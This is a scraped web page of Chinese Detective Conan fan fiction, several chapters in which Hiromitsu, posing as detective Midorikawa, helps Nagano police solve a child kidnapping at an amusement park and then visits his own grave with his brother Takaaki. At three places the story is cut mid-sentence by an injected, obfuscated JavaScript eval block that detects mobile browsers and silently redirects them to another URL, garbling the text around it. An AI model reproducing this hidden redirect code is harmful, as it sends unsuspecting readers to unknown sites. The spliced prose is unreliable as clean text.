“美纪……”院长把手放下来,颓坐在屋子的回廊下,回忆道,“这孩子很聪明,但不合群,所以在孤儿院里没什么朋友。她要么一个人玩,要么来缠着我。昨天是我清点账目的日子,没时间理她,还冲她发了火,她大概是一个人跑出去玩了。之后我一直忙到晚上七点,在活动室里清点人数时才发现美纪不在。她过去也经常偷跑到孤儿院外头,但最晚都会在六点敲晚餐钟时回来……” “她最远跑去过哪里?” “这个她倒是没有提过,只说附近有一片柏树林。我看她每天都能按时回来,就没有管过。” 景光与敢助对视一眼,确认了那正是他们刚才去的地方。 “为什么没有报案?”敢助质问道。 “因为不满24小时……而且……而且孩子走失是院长的责任,我以为我能及时找她回来。”院长的呼吸变急促了,“为什么警官您会知道?是不是……是不是出了什么问题?美纪她……我对不起那孩子……” “我们会把箱崎美纪平安带回来的。至于你——现在去报案,告诉他们长野县的警察来找过你一次。” “好的,好的……” 院长拖着沉重的步子离开了。景光与敢助正准备转换阵地前往伊光游乐场,一通电话忽然打到了后者的手机上。 “啊,我知道了,我这边也有新线索,还认识了一个挺有意思的侦探。 “你已经在了吗?不愧是你啊。” “知道了,马上过去。” 敢助挂断电话,对景光道:“我的同事已经在游乐场调查了。我们立刻过去,可不能被他们落下。” 景光那时的回答是:“好的。” 如果他知道这位大和警官口中的同事与好友是同一人,如果他知道这位大和警官的好友是何许人…… 景光保证他会回到过去给自己来一巴掌。 12. 长野县诱拐事件(三) 下午1点15分,长野县伊光游乐场。 这家游乐场是家族经营,在长野已经存在了50余年,如今的管理员是一名身材高大的女性,从背后看,不像游乐场的管理员,倒更像酒吧门口看场的保镖。她得知有新警官赶来,提前在门口迎接。 “人呢?”敢助一下车便问。 “那两位已经到了的警官吗?”管理员上前引路,“这边走。” 听管理员的说法,那两位警官已经推理出犯人正是游乐场里的工作人员。因为偶尔需要运送器械或接送乘客,游乐场里有一辆公用的六座面包车,犯人昨天就是利用这辆车来进行移动的。 “既然如此,只要知道昨天谁用过这辆车不就行了吗?”景光问。 “很遗憾,我们家的五个员工都有钥匙,一般谁有空谁出车,无需报备。”管理员道,“而且这两天我们为了儿童节的活动歇业装修,昨天根本没人在这儿盯着这辆车。” “监控呢?” “被删了。”管理员似乎有些愧疚,“我们家的管理很松散,员工但凡在职两年以上的,基本拥有这座游乐场所有地方的通行权限。” “你说的五个员工都在场吗?”敢助问。 “虽说是五个,有两个其实一周前休婚假出国旅行了,现在还没有回来。因此嫌疑人的话……应该只有三个。” 敢助点头。 说话间,一辆造型普通的银白色面包车已经出现在三人面前。这是一款五年前上市的老车型,被以“家庭欢聚必备”的名义推出,不需要后排座椅时还可将其折叠起来,留出大量空间堆放杂物。 面包车旁站着一位年轻女性,亲切地朝他们招了招手。 “小敢!” 敢助板起脸来。“现在是工作时间,上原。” “知道啦。”对方不以为意。 尽管敢助的语气一本正经,景光却意外地从中读出了些许紧张,不由得会心一笑。前者瞪了他一眼,清了清嗓子,介绍道:“她是上原由衣,我在长野县警局的同事。至于另一位——喂,你在哪儿?” “兵贵神速——敢助君,这回你来得有些晚了。” 一道不疾不徐的声音自车后响起。有些时候,你会因太久没见过一个人而忘记对方的嗓音、腔调乃至语气,可仍会有些感觉本能地告诉你:你完了。 景光身子一僵,想要拔腿走人却是已经来不及了。 一个身量修长、唇边精心打理了八字胡的男人走出敞开的面包车后,彬彬有礼地说道:“在下姓氏诸伏,名高明,就职于长野县警局。”他看向景光,“想必您就是敢助君提到的那位侦探吧?” “啊,这家伙的脑子很好用,会帮助我们更快破案的。”敢助说。 “怎么称呼?”高明问。 “我……” 失去所有力气与手段的前公安部警察、前卧底、现身份不明组织成员如是呢喃。 高明没有听清,侧着耳朵,希望景光能够更大声些。 “我叫绿川隆一,是一名侦探。”最终,景光仿佛一台被写好了程序的仿生人那样答道。 好了,景光想,从今天起我就要把这个身份焊在身上。 高明认真地打量了他两眼,似乎没有看出什么,转身回归案件中。景光扶了扶鼻梁上的大镜框——好像隔着一层透明树脂看世界能带给他更多安全感似的。 “别担心,”由衣不知何时凑到了景光身边,“那一位只是看着严肃而已,其实是很好相处的人。” “诸伏警官与大和警官是好友吗?” “嗯。”由衣笑着点头,“他们是幼驯染,从小无论做什么事都要分出个高下呢。” 景光试图回忆些什么,但失败了。因为各种原因,他对儿时的记忆并不深刻。 “你们两个!”敢助喊道,“别发呆了,快来破案。” “来啦。”由衣回道。 敢助从口袋里掏出集章券,看向管理员:“这是你们家的东西吧?” “没错……我们家每隔一个月就会更换新的集章券,在一个月内集齐游乐场里所有设施的‘已游玩’盖章后就可以获得礼品。但您手里的直到本月20号才会正式推出,目前我只派发到了员工手里,您是怎么……” “也就是说,那三个嫌疑人也有,对吗?” “是的。”管理员点头。 “你是根据这些集章券找到这家游乐场的吗?”高明问道。 “没错,多亏了绿川侦探。”敢助说,“你和由衣又是怎么查到这里的?” “因为油漆。我找专业人士看过,那些留在沙坑里的油漆是很特殊的种类,因为喷涂工艺复杂,需要专业的技术人员操作,而最近在长野范围内下过这笔订单的就是这家伊光游乐园。” “你还发现了什么?一起说出来吧。” “不如你们先来检查下这辆车。”高明道。 差不多快把自己缩进由衣影子里的景光接触到哥哥与敢助同时发射的“过来看看”眼色射线,强装镇定地挺起胸膛,钻回阳光下,走近了面包车。 扑面而来的是一股浓烈的甲醛气味。车后排放着三个油漆桶,其中两个空了,另一个倒下来,油漆淌了满车,从量上看,原本大约盛满了油漆桶2/3的体积。厚厚的一层金属黄色铺在地上,直到现在还半干不干;后排的油漆表层印着孩子们凌乱的小码鞋印,前排驾驶座下的鞋印则被故意覆盖了。 在孩子们的脚印旁,四周铺满油漆的情况下,一块接近四方形的空白尤其显眼。 “这里……”敢助指着它说,“被谁故意撕掉了,一定是有什么关键线索。” “如你所言。”高明点头。 “但这层油漆很厚,即使底下藏了什么,也很难被凶手发现才对。除非他戴着手套仔细地搜索了一遍,然后再把手套和鞋子一起……上原,你笑什么?” “唔,没有啊,大和警官。”由衣憋着笑意敬了个礼。 “你说的是这个吧,敢助君?” 高明慢条斯理地举起一个证据袋,于是所有人都看见了里面那片沾着金属黄色油漆的布料,没沾油漆的那面则显出布料原本的浅蓝底色。“这应该是那个留下集章券的孩子留给我们的另一条线索。” 景光朝四周看看,在附近一个垃圾箱的顶部看见了一双沾满油漆的手套——脏成那个样子,的确是没法洗洗再用了。 “咚、咚、咚。” 一阵拐杖敲在路面上的声音由远及近,一个头发灰白的老人家领着三名年轻男女走了过来。 “警官先生,这些就是你们要见的员工。虽然我不认为在我的游乐园里会出现伤天害理之人,但如果是为了孩子们的安全,我希望你们能尽快查清真相!我决不允许恶徒出现在孩子们的天地里!” 老人愤懑地挥舞着拐杖。他身后三人都因这段话显得神色不安起来。 “这位是?”敢助问道。 “我的父亲。”管理员回答,“虽然这座游乐场现在名义上由我管理,但所有权还在父亲手里。” 了解过大致情况,来自长野县警局的警官们开始分别盘问三位嫌疑人。景光跟在一旁尽可能地缩小存在感,因此始终没有插话。 三位嫌疑人分别是代谷庆隆、佐波元司与汀桃子,两名男性,一名女性。证言由由衣记录如下: 代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200732|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谷庆隆:“我三年前在园区就职,负责出演蓝色的战士。昨天一天我都和女友待在一起。” 佐波元司:“我是两年前受到大学前辈的邀请,来这里接替他的职位出演红色的战士。但可能因为我长得过于魁梧了,很容易吓到孩子们,不到两个月就专职去做了反派,这下反倒没人怕我了。我昨天上午在睡觉,下午在健身房。” 汀桃子:“我是三年前来这里的,负责出演黄色的战士。昨天……我闷在家里打游戏来着,请问我的游戏记录可以作为不在场证明吗?” “蓝色、红色、黄色……这是什么?”由衣问道。 “这是父亲提出的主意,模仿特摄作品设计了员工服装,非常受到小朋友们的欢迎呢。”管理员答道,“顺便一提,休婚假的那两位是红色的战士与粉色的战士。” 犯人身着特摄战士的演出服进行诱拐……这就解释了孩子们为什么会被轻易骗走,因为没有孩子会拒绝这类故事。景光琢磨道。 “反派的衣服是什么颜色?”高明单手托着下巴。这是他思考时的常见动作。 “紫色。” 高明再次拎起装有布片的证据袋进行检查。此时,处于他左手侧的代谷庆隆看见的是布片原本的蓝色,处于他右手侧的汀桃子看见的则是沾在布片上的油漆颜色,双方同时喊道:“不是我啊!” 高明不急于解释,反而看向景光。“绿川先生,不知你有什么见解?” 被猛然间点名的景光仿佛回到了自己的高中时代。他审慎地、以一种事先没有预习过课本而硬着头皮在公开课上回答老师提问的态度说道:“那孩子一定是注意到了 留下的证据……大概既不是油漆的黄色,也不是布片的蓝色,而是它们叠加形成的颜色。” “我们没有设计过绿色的战士。”老人说道。 “蓝黄叠加确实是绿色,但如果——油漆并不是黄色的呢?”景光道,“刚才高明……警官,”他差点讲错了话,幸好及时改口,“提到这是一种特殊的油漆,指的恐怕是能随一天中光线变化而改变颜色的光变油漆吧?” 高明肯定了景光的说法。 “哦……我想起来了,”老人插话道,“我在网上看到了这种涂料,就请小女订购来,给一些设施重新刷漆,让孩子们在娱乐的同时还能学到和光学有关的知识。” “都有些什么颜色呢?”景光问道。 老人用拐杖尖敲敲管理员的小腿,神色显出短暂的威严。“快,和警官们说。” 管理员嘴唇一抿,解释道:“根据一天中光线的不同,有绿、黄、红、蓝四种颜色。” “与蓝色叠加起来就是绿色、绿色、紫色、蓝色。”由衣接道,“但如果绿色不存在,同时也不是蓝色的话……” “不是我!”这下轮到佐波元司慌了神,口无遮拦地大骂起来,“你们会不会破案啊,根本就是在胡扯吧!” “请问员工们的演出服都放在哪里?”高明看向管理员。 “我们有统一的服装间,走这边。” 一行人神色各异,浩浩荡荡地跟在管理员身后向服装间走去。景光缀在队尾,却看到高明也慢慢地落到后面,直到肩膀与他齐平。 “没有失联的嫌疑人,说明犯人不急着对孩子们做些什么,那些孩子还是安全的。”高明凑近过来,在景光身侧耳语,“我看到真相逐渐逼近我们了,绿川先生,只是还差一个论证环节——可以麻烦你到管理员办公室里看一眼吗?” 太近了,高明哥!景光内心尖叫。这完全不是一个适合掩盖伪装的安全距离。 但他什么也没有说,只是无声地点了点头,消失在了队伍之后。 13. 长野县诱拐事件(四) 管理员办公室在服务处小屋的背面,隔着半条走廊。一串钥匙盘挂在小屋的墙上,每一把都贴着相应标签,其中没有标注“办公室”的。 问题不大。 景光在服务处的前台桌面上翻了两下,找到一个细长的刘海夹。他将两侧掰开,让微微上翘的那头挤进锁孔里。 撬开了。 其实景光的外套内兜里有一把撬锁器,但门前的走廊正对监控,真要查起来的话,他非得像对闯空门早有预谋似的(虽然的确如此),两张嘴都说不清。而现在,随手摸来的工具、谁都能学的开锁技术,再加上警察许可,那可就赖不上他了。 走进办公室,午后阳光从拉严实的窗帘后透进来,显出一种清澈的幽暗感。屋内杂乱地堆着文件、电脑、衣服,却又意外地有序,可以看出其主人做事不算粗心,只是性格浮躁。 景光毫不费劲地从这堆杂物里翻出了几叠未发行的集章券,用手机拍了下来。门后的墙上挂着一串与服务处相同的钥匙串,可以通向这座游乐场从监控室到公用面包车的任何地方。 这里是…… 景光抹了一把办公桌脚上蹭到的黄色油漆:薄薄一层,已经干了。 他将这里也作为证据拍下,然后退出房间,将钥匙串送回服务处。 前台桌面上放着一台电脑。 景光心下一动,在键盘与多肉盆栽的底下搜了一圈,成功发现一张写着六位密码的便利贴。在这个钥匙都能人手一把的游乐场里,到处贴一张密码提示倒也不算怪事。 输入密码,轻敲回车。 开了。 首先弹出的是监控页面,景光从中可以看到几人已进入服装间,管理员对着陈列的特摄皮套侃侃而谈。 景光试着操作了下,这台电脑似乎只能暂时退出窗口,而没有修改监控录像的权限。 桌面上还有一张排班表,自前天至明天都是无人值守状态,另外有一个齿轮图标的软件,点进去是游乐场全部设施的运行数据。 景光一路下滑,滑过了便退回来,停在了摩天轮的那行。 后台显示,摩天轮曾在昨晚10:11启动过一次,10:18停下。 “不好。”景光声音一凝,连忙取回钥匙串,哗啦啦地翻了一串。 为保证设施安全,所有设施的操纵台都配有一把启动钥匙。然而景光从旋转木马翻到大摆锤,从碰碰车翻到过山车,就是没有一把钥匙上贴着标签“摩天轮”。 ……一定在那个人手里。 景光毫不犹豫,拔腿冲了出去。 * “我们只请人设计了战士的皮套,而佐波元司的反派角色是临时决定的,因此没有特殊皮套。除颜色外,形制与战士们的皮套没有区别。”管理员道。 “那孩子们是如何区分英雄与反派的呢?”高明问道。 “我们会在园区门口进行讲解。” “原来如此。”高明点头,“孩子们往往单纯。当你称自己为英雄时,他们便会把你当做同伴;当你称自己为反派时,他们便会感到恐惧。那么,你又是怎么对孩子们介绍自己的呢?” “我?”管理员莫名其妙地看着他,“我不出演任何角色啊?” “那是平日里的情况,但昨天呢?你与佐波先生身材相仿,这身演出服又具有弹性,如果是你来穿它,不会轻易让人看出不合身来。你昨天就是穿着这身衣服,驾驶游乐场的公用车辆去诱骗了孩子们吧。” 三位原嫌疑人顿时哗然。管理员皱起眉头,怒目而对,这神色使她看着更加高大了。 “我不知道你在说什么,警官。你认为我们家的三位员工是嫌疑人,我就喊他们来了,结果你现在又认为我是犯人?” 高明轻轻摇头,鬓间的发丝扬起来,仿佛有把羽毛扇在他胸前扇风似的。 “我的主张一直是拥有车辆钥匙、能够进入监控室,后来再加上一条‘能够拿到集章券’的人才是嫌疑人。那三位的确符合这些条件,但你恐怕有意说漏了另外一个人吧?”高明字字笃定,“那正是将这些东西分给员工的管理员。” “这不可能!” 喊出声的并非管理员,而是拄拐的老人。 “怎么回事,雪子!”老人与女儿对话时仍是一脸肃重之色,“快把真相告诉警官们。” 这时,管理员反倒不出声了。 高明继续道:“因事设奇,谲敌制胜。想必绿川先生现在已经在你的办公室里找到了一些线索,或者,你也可以亲自做出解释。” “我……” 管理员话没说完,忽然一个旋风似的蓝色影子闯进来,箍住她的手肘斥问道:“摩天轮的启动钥匙在哪!” 来人正是那位绿川先生。 管理员生得比绿川高壮,此时却被吓得气势矮了一头。她从口袋里掏出两个一对、同样标着“摩天轮”的钥匙。 绿川伸手去接。此时,管理员仿佛失神了般,手指松开,手心里的钥匙想下落去。 绿川竟然迅捷地收回手,从半空捞住了它们。 “找到孩子们了!”他扔下这句,又像一阵旋风似的刮走了。 最先反应过来的是敢助与由衣;高明精神上走在前面,身体上却在众人追赶绿川的途中渐渐落到了中后位置。他敢发誓自己这次真不是故意的。 * 快一点,再快一点。 辛辣的灼热感捶打着喉咙,冰冷的流风涌进鼻腔。景光飞速地奔跑着。 伊光游乐场的摩天轮共26个轿厢,转完一圈大概花费15分钟,7分钟正好是底部轿厢被送往最高点的时间。景光不清楚孩子们是缩在一起还是单独隔开,但无论如何,那样小的孩子被强行锁在密闭空间里接近一天一夜,其冰冷可怖是成年人们难以想象的。 景光几乎是扑到了控制台前,掀开防护罩,拉下控制杆。摩天轮顿了一秒,随后慢悠悠地转了起来。 尽管推测孩子们停在了最高点,但景光还是一个个地打开了舱门。 空的。空的。空的。两个男孩。两个女孩。空的。空的。空的。 四个孩子,没有更多了。 处在同一轿厢里的男孩们,年纪大的抱着年纪小的,都睡着了。后者穿一件被撕破衣角的浅蓝色外套,两人的裤腿与鞋底上都沾着油漆。 年纪大的那个在景光抱起他们时清醒片刻,受惊地缩了下肩膀。 “别怕,”景光指着自己身后,“是警察哥哥和警察姐姐。” 男孩的表情越发惊恐,徒劳地张了张嘴,却没力气发出尖叫。景光回头一瞧,站在他身后的不是高明,而是一脸凶恶样的敢助。 敢助尴尬地退了一步,由衣紧接着跟上来,从景光手里接过两个孩子。 “是警察姐姐哦。”她柔声道。 在柔软却结实的臂弯里,男孩终于放下了心。 关在另一轿厢里的女孩们,一个蜷缩起来,一个睁着幽灵般的眼睛,一言不发地看向众人。 景光蹲下来,问道:“你是箱崎美纪吗?” “嗯!”女孩点头时,一双大眼睛还像被固定在空中般,一动不动,“你也是警察哥哥吗?” 景光笑。“我是帮警察哥哥破案的市民。是因为美纪留下了线索,警察哥哥才能及时找到你们,很了不起哦。” 美纪理所当然地扬起下巴。 “昨天带走你们的人在这里吗?” 美纪点头,食指确凿无疑地指向管理员。“是那个姐姐。” “为什么这么肯定呢?” “姐姐开车的时候摘掉了面罩,我看见了她的短发。中途还有一个老爷爷打电话给她,喊她‘雪子’。” 每一条证据都指向了管理员。 敢助与由衣正在紧急安排三个脱水又疲惫的孩子赶往医院,美纪却一直扒着景光的裤腿,怎么也不肯走。“我要见园长妈妈!”她大喊。 景光把从服务处前台上随手摸来的薄荷糖递给她,把从办公室拍到的证据照片递给高明,质问道: “你还有什么想说的吗?” 管理员摇头,仿佛认命了般低声答道:“没有,我对不起孩子们。对不起,小妹妹,昨天拽了你的头发。” 美纪摇摇头,似乎不以为意。 “这不应该… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223927|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …雪子姐平时很好的……”汀桃子喃喃自语。 老人暴躁地敲着地面,争辩道:“雪子是我一手带大的孩子,这里一定有什么误会,警官先生们——” “够了!”管理员怒吼,“你不明白吗!就是因为你!我讨厌孩子!讨厌什么孩子的乐园!你却从小就教我怎么管理这里。我恨透了!我想让它完蛋!可它却越办越好,甚至还要搞什么混蛋儿童节活动!” 她大喊了一阵,忽然停下来,语气转得凄凉。 “所以,没有什么特殊的理由,只是昨天突然想到,啊,要是我家的游乐场因为丑闻倒闭就好了。我开车上路的时间很晚,那时候还不着家的孩子多半是不想家吧?消失也是没问题的吧?小时候的我……就已经这样想了。 “爸,你照顾了所有孩子的童年,但我呢?我的童年就是该被你骂不够努力,该被你打出一股上劲的精神吗?你这种人才最应该滚出孩子的乐园吧?” 直到被赶来的警员戴上手铐,她的最后一句还是望向美纪说的。 “对不起,我本来没想伤害你们。” “我代表我个人原谅你。”美纪像个小大人似的回道。 战士与反派们在一旁嘀嘀咕咕,商量这份职业的去路。老人不知何时坐到了远处的长椅上,没人去打搅他,他大概也不希望被人打搅。 “好了,小勇者,你要怎么办呢?”景光重新蹲了下来。 “院长妈妈呢?”美纪问道。 景光看向敢助。后者答:“群马县警局已经派人通知院长了。” 景光问美纪:“你喜欢院长妈妈吗?” “喜欢!”美纪笑眯眯地睁着眼睛,“昨天和院长妈妈吵架了,美纪还没道歉呢!” 她笑着,不说话了。大颗的泪滴忽然从她的眼眶里滚出。 “差点、差点就见不到院长妈妈了……美纪好害怕,天空好黑,好安静,什么也听不见……我想喊对面的男孩聊天,但是没人回我,和我一起的女孩原本还在讲话,后来就睡着了,简直就像……” 景光一把搂住美纪,女孩嚎啕地哭了起来。 “高明,他也许……”守在一旁的敢助对好友低语。 留八字胡的警官目不转睛地看着眼前两人。如果忽略他发颤的指尖,他便依然是平静的。 美纪哭累了,倚在景光的肩上睡了过去。她在同龄人中称得上轻快,景光就这么抱着她站了起来。 大约过了十分钟,一个生着大眼睛小瞳孔的刑警跑了过来。“本人山村操!”他原本放开了嗓子,见到睡着的美纪时便压低下去,“是群马县警局的刑警。” ……小操? 景光从稀薄的记忆深处抓出了一个戴着草帽、躲在秘密基地里的男孩,一时间不知该笑还是该哭。不愧是老家,也太多熟人了吧? 跟在山村操身后的院长慌忙从景光手里接过美纪,使劲晃了两下。 “美纪?美纪!” “院长妈妈……”美纪揉揉眼睛,“我好困……” “不要睡!不要睡!啊……美纪,是我对不起你,我再也不会骂你胡闹了,你睁眼看看院长妈妈好不好?你还这么小,我本来应该看你长到比我还要高的……对不起,美纪……” “那个——”由衣看不下去了,“这孩子快一天一夜没有吃饭睡觉了,现在只是突然放松下来,睡着了而已。” “哦?哦哦……” 景光没忍住笑了出来。 “谢谢你救了这些孩子。”高明走到了景光面前,语气郑重。 或许是心中洋溢着喜悦之情,景光不再躲躲闪闪,坦然承认道:“是警官们的功劳。” 一丝踌躇划过高明的眉宇间。 “怎么了?”景光下意识问道。 “我有一个私人委托……不知你作为侦探,是否能够接下。” “您请讲。”景光从未见过哥哥这幅模样,不由正襟危站。 “我想拜托你帮我找到那个失踪了16年的弟弟。” 找谁? 拜托谁? 景光强行撑住了脸上的笑意,但那也已经成为一种假笑了。 14. 14 景光和高明正在去花店的路上,旁边还跟了个对高明一见如故、像出巢小鸟一样叽叽喳喳的山村操。 这位群马县刑警左一句“我和诸伏家的小景是好朋友,我们约定了一起成为正义的伙伴”,右一句“我们有一个秘密基地,这些年我一直在等他回来”,把高明钓得虽然面上不显,心里却翘起了嘴。 “有一件事你可能需要知道,山村警官,”高明道,“请做好心理准备。” “什么?” “我们为景光……立了一座碑。” 这就是三人现在结伴前往花店的原因。 花店离墓园不远,许是经常接待来往吊唁的顾客,门前摆满了马蹄莲与白百合,一色肃重。全有赖于店长本人的温柔恬静,这家店才没有多添一层凄凉。 “啊,诸伏警官。”店长正把陈列门外的花束一一搬回店内,瞥见高明时打了招呼,“您今年来得很晚呢。” “因为工作耽误了些时间。还有菊花和康乃馨吗?” “一直给您留着呢。” 店长从柜台后抱出早已打包好的花束递给高明。 “还有吗?”景光问,他还是第一次给自己扫墓呢,“给我和诸伏警官一样的就行。” “我也要,我也要。”山村操举手。 “有的,两位稍等,我去打包一下。” 高明坚决不让两人付钱,一口气给店长结了账。 三人往墓园走去。 此时黄昏已至,夕阳落在他们身后,把影子拖成长长的三条堆在脚边。因为手里抱了花,影子的上半身模糊不清,没有躯干与四肢的分别,黑乎乎地摇荡着,每条与每条之间隔着不分明但确乎存在的空隙。高明走在左边,山村操走在右边,景光走在中间。这样的排列似乎是在不知不觉中形成的。 “小景他……其实没有死吧?”山村操忽然道,“不然诸伏警官你也不会让绿川先生去找他了,哈哈哈。”他干笑,“死人是找不到的吧?” “是这个道理。”高明没有多说。 山村操挠挠头,不知道该怎么接话了。两人虽然不在同一辖区,但无论从职称还是年龄上,高明都比山村操大上一些,甚至被众人信服地冠以“孔明先生”的称号,山村操面对他时多少有些如同面对长辈时的无所适从。 “诸伏警官莫非认为弟弟没有死?”景光问道。 “具体情况如何,我们还是到——尽管我不想那样讲——景光的墓前再说吧。” 他们穿过墓园的石质拱门,零零落落可以看到几位祭拜者;守园人倚着一把扫帚站在远处,对高明略一挥手就算是打过招呼。高明在附近的打水处提了一木桶水,带领景光与山村操向深处走去。 诸伏家的三座墓碑是并排立下的。刻有“诸伏景光之墓”的那座,上面标注的出生年份至死亡年份只相隔了短短不过七段光阴。高明率先走上前去,将两枝白菊放到父母碑前,将剩下的一枝白色康乃馨放到弟弟碑前,用木瓢舀水,浇洗在了三座碑上。接着是山村操。 景光对眼前这幕感到熟悉,脑袋又是一阵钝痛,一时间竟然有些迈不开步子。直到高明看向他,他才强迫自己走上前去,放下了白菊花与康乃馨。 爸爸,妈妈,还有——自己。 要是Zero在这儿的话,一定会恼怒地指着这座墓碑,骂骂咧咧地喊是谁开的这种玩笑吧?景光忍不住想象到了那种画面。到时候出面拦住这位大猩猩首席的恐怕还是自己。 自己原本所在的那个世界怎么样了?有在正常运转吗? “十七年前,”高明娓娓讲道,“我家遭遇了一起意外事故,警方将其定性为仇杀灭门案。当时我因为学校活动不在家中,所以幸免于难。”尽管说着“幸免”,他的表情里却没有丝毫庆幸,“回家以后,父母离去,而景光失踪。警方猜测他被犯人掳走,或因害怕,跑进山林里后迷失方向,便组织了大规模的搜查队。” “没能找到吗?”山村操仿佛亲临现场一般,紧张地攥起了手。 “在山崖边,警方发现了景光常穿的一双白色运动鞋里的一只,又在山崖下发现了另一只,掉在一滩血泊里。他们认定景光已经摔下山崖,我那时也是这样想的。案件就此告结。在亲戚的帮助下,葬礼如期举行。他们提出想要收养我,被我拒绝了。我不希望父母和景光的灵魂回家时看不到任何亲人。” 山村操泪眼汪汪地听着。 “但后来,我逐渐意识到了问题。” "因为没有发现尸体?"景光道。 “这是原因之一。另外,我直到独自整理遗物时才发现,家里不仅少了景光的一双运动鞋,还少了一双拖鞋。”高明解释道,“假如景光是从外面回到家里,当他看到父母的尸体时,不可能莫名其妙地提上一双拖鞋;假如他一直躲在家里直到凶手离开,那他不可能还有精力换上运动鞋逃跑。” “有人带走了他,把运动鞋故意丢在山崖边,伪装出了坠崖现场。”景光不仅是在接高明的话,更是在推理苏格兰出现的原因。 难道是黑衣组织?景光在这一问题上不得其解。给他的想象力加强哪怕十个托尔金,他也想象不出那个凶神恶煞的组织里会有人愿意捡小孩。 除非琴酒反社会人格发作,非要像电视剧里的反派一样桀桀大笑说“今天我就要把白的染成黑的”。 还是说……外守一与黑衣组织有关? “凶手呢?”景光匆匆问道,“这桩案件的凶手现在怎么样了?” 高明摇头。 “没有抓到?”景光讶然。 “非常惭愧。因为时间过去太久,档案封存,证据遗失,这桩案件已经成了悬案。我成为警察这么多年,也始终没有找到更多线索,不仅没能抓获凶手,连舍弟也……” “只是这些证据的话,还不能让我确信您的弟弟一定活着。”景光道。 一定……苏格兰每年回一次长野,一定还留下了其他尾巴。 高明迟疑片刻,说道:“其实,往年我来祭拜时,三座墓前总有陌生人送来的悼念花束。我请守园人帮忙注意那人的长相,但每年从身高到体型都有微妙差别。” “从什么时候开始的?”景光问。 “大约六年前。” “没有拍下那些人的照片吗?可能是受你弟弟委托前来送花。” 尽管这样讲,景光知道那些人一定就是易容后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232456|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏格兰。 记得家人,记得十七年前的惨案,却从不露面,在黑衣组织里地位颇高…… 苏格兰,你身上到底还发生了什么? “没有。”高明答道,“我认为那些人就是景光。虽然我十七年来再也没有接触过他,但有这样一个人出现时,我立刻就感觉到了。这种感觉从理性的角度上是讲不通的,我既不能说服自己接受它,也不能说服自己拒绝它。‘至诚之道,可以前知’,无外乎此。结果就是这样放任自流。我担心景光有什么苦衷,以为终有一天能够相见,但是……” “今年他没有来。” 说这话时,高明直视景光,其神情之锐利令后者呼吸一滞。 高明哥看出来了吗?景光说不准。他的兄长讲话总是这样模棱两可,难以分辨。 一阵铃声拯救了他。 “对不起、对不起。”山村操手忙脚乱地抱着手机,小跑到一旁接起通话。 浇在碑上的水仍然往下淌着,洇湿碑文,从一颗滚圆的水珠化开、蒸发、消失无踪,了无音讯。 “所以,”高明话音一转,“我希望拜托绿川先生寻找舍弟。信息不必太过明确,只要知道他还平安、还活在这世上就好。” “我知道了,诸伏警官,我接下这个委托。” “叫我高明吧。”他的视线落在正与同事通话的山村操身上,“看到山村警官时我就在想,如果景光也成为一名警察的话,我就可以对别人说‘叫我高明吧,不然会和舍弟弄混’。” 景光感觉自己像是街机游戏里抗下最后一记大招,K.O.倒地的角色,良心挣扎着痛了起来。 那个世界的自己因为卧底任务,不仅写下了“已辞去警察职务”的家信,还彻底消失不见;这个世界的苏格兰因为担心黑衣组织伤害哥哥(这是景光目前想到的最合理理由),假死了整整十七年。 对不起,高明哥,但是,等到一切结束、组织覆灭的那天…… 无论我是曾经的景光,还是现在的苏格兰,都请让我挺胸抬头地向你谢罪吧。 “对不起啊,”山村操努着嘴巴走回来,“警局那边要我赶紧回去做个汇报。请放心,小景的哥哥,我一定会帮助你早日找到小景、找到凶手的!” “谢谢你。”高明郑重地说。 山村操空挥了两下拳头。“那么,我就先走了,下次有机会再聊!” 他像一团热闹的、膨胀的空气,挤进这对如今形同陌路般的兄弟中间,“砰”一下地炸开,走了,于是那种独属于墓园的冷清气氛重新占据上风。 没多久,景光与高明也向墓园外走去。快跨出拱门时,景光想好了理由与高明辞别,高明却问:“时间不早了,要一起吃个晚饭吗?” “谢谢您,不过——” 下一个音节没能顺利钻出喉咙。 景光的心脏猛地一胀,一切生命活动仿佛在此刻暂停,眼前密密麻麻的又是一片黑白闪影。 “你是谁!” 迷蒙中,景光似乎听见一道熟悉的、常见于金发黑皮生物于愤怒状态中发出的怒吼。 Zero…… 景光闭上了眼,又或者——睁开了。 15. 15(榜单加更) 头好痛…… 绿川撑着额角,踉跄一步。他像一团被扔进滚筒洗衣机里滴溜溜转了一千次的卫生纸,皱巴巴地瘪下去不说,浑身还有种四分五裂的疼痛感。 他硬着头皮睁开眼睛,很快凭本能意识到自己位于东京街头、白天、风和日丽。 